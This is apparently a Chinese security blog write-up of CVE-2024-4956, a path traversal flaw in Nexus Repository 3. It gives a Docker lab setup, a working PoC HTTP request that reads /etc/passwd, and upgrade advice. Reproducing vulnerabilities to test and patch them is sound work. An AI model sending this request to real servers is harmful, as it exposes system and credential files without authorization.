关注我们❤️,添加星标🌟,一起学安全!
作者:Arvin@TimeAxis Sec
本文字数:1499
阅读时长:2~3mins
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Sonatype Nexus Repository 是美国Sonatype公司的一款存储库管理器,用于存储和分发软件组件、构建工件和 Docker 容器。它支持多种包格式,与 CI/CD 工具集成,并提供安全性和合规性功能。
0x02 漏洞概述
漏洞编号:CVE-2024-4956
Nexus Repository仅依赖Jetty自带的方法进行请求路径的安全检查,而未进行深入的验证,导致攻击者可以利用路径穿越攻击访问文件系统上的任意位置。
成功利用这一漏洞的攻击者可以读取Nexus Repository服务器上的任意文件,这可能包括配置文件、数据库备份以及其他敏感数据。此外,特定情况下如果攻击者能够进一步利用服务器上的其他配置或漏洞,可能会完全控制受影响的服务器。
0x03 影响版本
Sonatype Nexus Repository 3 < 3.68.1
0x04 环境搭建
任务调度中心【Docker方式构建】
1.拉取镜像docker pull sonatype/nexus3:3.68.0
2.持久化目录mkdir -p /home/nexus/data
chmod 777 -R /home/nexus/data
3.查看镜像IDdocker images
4.创建nexus容器并启动
docker run -d --name nexus3 -p 8081:8081 --restart always -v /home/nexus/data:/nexus-data 镜像ID
访问http://yourip:8081/
0x05 漏洞复现
直接使用poc可读取到/etc/passwd:
POC:
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
0x06 修复方式
目前官方已有可更新版本,建议受影响用户升级至最新版本。
官方文档:https://help.sonatype.com/repomanager3/download
历史漏洞
CVE-2024-5764
CVE-2024-4956
CVE-2020-24622
CVE-2020-11444
CVE-2020-10203
CVE-2019-7238
回复【加群】进入微信交流群
回复【SRC群】进入SRC-QQ交流群
回复【新人】领取新人学习指南资料
回复【面试】获取渗透测试常见面试题
回复【合作】获取各类安全项目合作方式
回复【帮会】付费加入SRC知识库学习
回复【培训】获取TimelineSec官方培训课程详情
视频号:搜索TimelineSec
官方微博:#小程序://微博/tPbUYdN9EucSD4C
哔哩哔哩:https://space.bilibili.com/52459 1903
原文始发于微信公众号(Timeline Sec):CVE-2024-4956:Nexus Repository 3目录穿越漏洞